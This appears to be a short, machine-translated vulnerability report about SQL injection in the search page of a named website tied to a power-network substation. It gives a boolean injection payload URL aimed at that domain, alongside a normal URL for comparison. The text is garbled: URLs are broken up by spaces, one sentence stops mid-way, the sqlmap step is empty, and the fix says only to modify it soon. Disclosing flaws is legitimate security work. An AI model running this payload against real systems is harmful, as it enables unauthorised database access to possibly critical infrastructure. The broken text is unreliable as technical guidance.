SQL Injection for a Key Substation of yibang Power Network

Problematic url:
Http://www.siilu.com/search/dosearch? Searchitem = server & searchtxt = A' % 20or % 20' % 25' % 3D '& pagenum = 0 & cid = 0 & city = 0 & sortby = 0

You can compare the information returned when searchtxt is assigned different values.
Under normal circumstances:
Http://www.siilu.com/search/dosearch? Searchitem = server & searchtxt = a & pagenum = 0 & cid = 0 & city = 0 & sortby = 0

Compare this:
Http://www.siilu.com/search/dosearch? Searchitem = server & searchtxt = A' % 20or % 20' % 25' % 3D '& pagenum = 0 & cid = 0 & city = 0 & sortby = 0

If you only assign a value to A', the following section is displayed as blank, no

Run with sqlmap:

 


 

Solution:

Modify it as soon as possible